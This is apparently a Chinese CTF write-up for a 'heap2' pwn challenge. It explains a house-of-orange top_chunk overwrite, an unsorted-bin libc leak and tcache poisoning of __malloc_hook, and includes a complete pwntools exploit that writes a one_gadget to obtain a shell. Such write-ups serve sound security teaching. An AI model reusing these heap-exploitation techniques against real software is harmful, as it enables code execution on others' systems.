当前位置:网站首页>heap2 (tcache attack,house of orange)
heap2 (tcache attack,house of orange)
2022-08-11 05:29:00 【Mauricio_Davis】
知识点
- top_chunk的size大小一定是页对齐的,也就是0x?000,低三位要保持为0
- 保证篡改后不报错,则需要拿top_chunk的地址+size为页对齐即可
- 想要控制篡改后的size则可以通过先申请一个chunk来调整top_chunk的size后在改写
- 需要注意的是top_chunk的inuse位一定是1
- 当top_chunk的大小不够申请时(不能超过mmap阈值,否则会使用mmap来申请chunk),旧的top_chunk,先切分出两个0x10大小的chunk,剩下的空间如果不小于最小的chunk则使用int_free释放掉
程序分析
- heap题目功能有创建chunk以及输出chunk,没有释放
- add使用了gets函数,无限heap溢出
解题思路
- 通过unsorted-bin泄露出libc_base
- 通过tcache attack申请到malloc_hook的地址
- 改写为one_gadget
具体操作
没有free操作,我们可以通过改写top_chunk的size大小,申请0x20的chunk改写top_size,后申请一个比改写后大的chunk,得到一个在small-bin中的chunk,再次申请就会切分small-bin中的chunk,剩下的就会进入unsorted-bin
申请的chunk会从新的top_chunk中切分(高地址处),通过之前申请的0x18改写unsorted-chunk的size使其可以达到chunk2处,这样通过再次申请chunk,切分改写后的unsorted-chunk,使剩下的chunk刚好落在chunk2,输出就可以得到main-arena+offset,进而得到libc_base
- 这里需要注意的是,有以下安全检查,所以我们还需要在chunk2里面布置一下
- 第一个if:unsorted_chunk的大小不能小于或大于阈值
- 第二个if:下一个chunk(victim+size),不能小于大于阈值
- 第三个if:next_chunk的presize要和victim的size一致
- 第四个if:检查链是否被破坏,这里的话注意一下溢出的时候不要覆盖掉fd低位就行
- 第五个if:next_chunk的pre_inuse位需要为0
- 使用tcache_attack(类似fastbin attck)比fastbin-attck容易的多,因为tcache有记录chunk个数,所以我们需要让两个chunk进入相同的tcache链,操作如上,看exp
- tcache_get里面没有任何检查,所以我们直接写入malloc_hook的地址就可以直接申请出来
- 第一次的unsorted-bin至少需要保留0x20大小,这样我们申请出来,相比于tcache_chunk所在的位置是低地址,通过无限溢出,改写tcache的chunk为malloc_hook
- 写入one_gadget,获取shell
注意点
- 我们既然我们保留了unsorted-chunk一个chunk大小,我们就要注意后面申请的chunk不能低于或等于他,否则就会被直接申请走,后面我们就无法通过他来改写
- 注意伪造unsorted-chunk来绕过检查
exp
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
c=process(b'./heap2')
libc=ELF(b'/home/davis/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
gdb.attach(c,''' b *$rebase(0x1314) b *$rebase(0x1417) ''')
og=[0xe3afe,0xe3b01,0xe3b04]
def add(idx,size,content):
c.recvuntil(b'>> ')
c.sendline(b'1')
c.recvuntil(b'Index: ')
c.sendline(str(idx).encode())
c.recvuntil(b'Size: ')
c.sendline(str(size).encode())
c.recvuntil(b'Content: ')
c.sendline(content)
def show(idx):
c.recvuntil(b'>> ')
c.sendline(b'2')
c.recvuntil(b'Index: ')
c.sendline(str(idx))
add(0,0x1f450,b'\x00') #调整top_size大小
add(1,0x20,b'a'*0x28+p64(0x8e1))#篡改top_size
add(2,0x900,b'm'*0x30+p64(0x1900)+p64(0x910))#为绕过安全检查布置的内容
add(3,0x18,b'1'*0x10+b'j'*0x8+p16(0x1900))#改写unsortedbin的size
add(4,6320,b'\x00')#通过计算申请这个chunk可以让剩下的部分在chunk2里面
show(2)
libc_base=u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
log.success("libc_base:"+hex(libc_base))
malloc_hook_chunk=0x7f7b15e28b70-0x23+8
add(5,0x2620,b'f'*0x2620)#调整top_size大小
add(6,0x50,b'abcd'*22+p64(0x61))#tcache1 , 0x40
add(7,0x70,b'aaaa')
add(5,0x1e90,b'f'*0x1e90)
add(6,0x70,b'xxxx'*30+p64(0x61)+b's'*0x10+p64(0x23fa0)+p64(0x400))#tcache2
add(7,0x70,b'abcd')
malloc_hook=libc.sym['__malloc_hook']
log.success("malloc_hook:"+hex(malloc_hook))
add(8,0x18,b'a'*0x23fa0+p64(libc_base+malloc_hook))
add(9,0x30,b'test')
add(10,0x30,p64(libc_base+og[1]))
#add(0,0,b'0')
c.recvuntil(b'>> ')
c.sendline(b'1')
c.recvuntil(b'Index: ')
c.sendline(b'0')
c.recvuntil(b'Size: ')
c.sendline(b'0')
c.interactive()
边栏推荐
- The whole process of Tinker access --- Compilation
- 开源之夏 2022 火热来袭 | 欢迎报名 OpenMLDB 社区项目~
- 论文解读TransFG: A Transformer Architecture for Fine-grained Recognition
- Goldbach's conjecture and the ring of integers
- The role of the port
- PyQt5中调用.ui转换的.py文件代码解释
- Open Source Machine Learning Database OpenMLDB Contributor Program Fully Launched
- The third phase of the contributor task is wonderful
- 精彩联动 | OpenMLDB Pulsar Connector原理和实操
- JS事件循环机制
猜你喜欢
贡献者任务第三期精彩来袭
JVM tuning and finishing
JVM调优整理
Scene-driven feature calculation method OpenMLDB, efficient implementation of "calculate first use"
栈stack
第四范式OpenMLDB优化创新论文被国际数据库顶会VLDB录用
活动预告 | 4月23日,多场OpenMLDB精彩分享来袭,不负周末好时光
论文解读:跨模态/多光谱/多模态检测 Cross-Modality Fusion Transformer for Multispectral Object Detection
openlayer中实现截图框截图的功能
127.0.0.1 connection refused
随机推荐
Fourth Paradigm OpenMLDB optimization innovation paper was accepted by VLDB, the top international database association
Open Source Machine Learning Database OpenMLDB Contributor Program Fully Launched
js 学习进阶(事件高级 pink老师教学笔记)
PAT乙级刷题之路
Day 84
Day 68
js常用方法对象及属性
谨此留个纪念
OpenMLDB:线上线下一致的生产级特征计算平台
js learning advanced BOM part (pink teacher notes)
IIC and SPI
Promise 中状态改变和回调执行先后顺序 和promise多次回调
开源之夏 2022 火热来袭 | 欢迎报名 OpenMLDB 社区项目~
js写四位随机数能有多少种可能性?并列出所有可能性
gerrit configure SSH Key and account, email information
[Meetup Preview] OpenMLDB+OneFlow: Link feature engineering to model training to accelerate machine learning model development
Use c language to implement tic-tac-toe chess (with source code, you can run it directly)
JS进阶网页特效(pink老师笔记)
Invalid revision: 3.18.1-g262b901-dirty
Day 85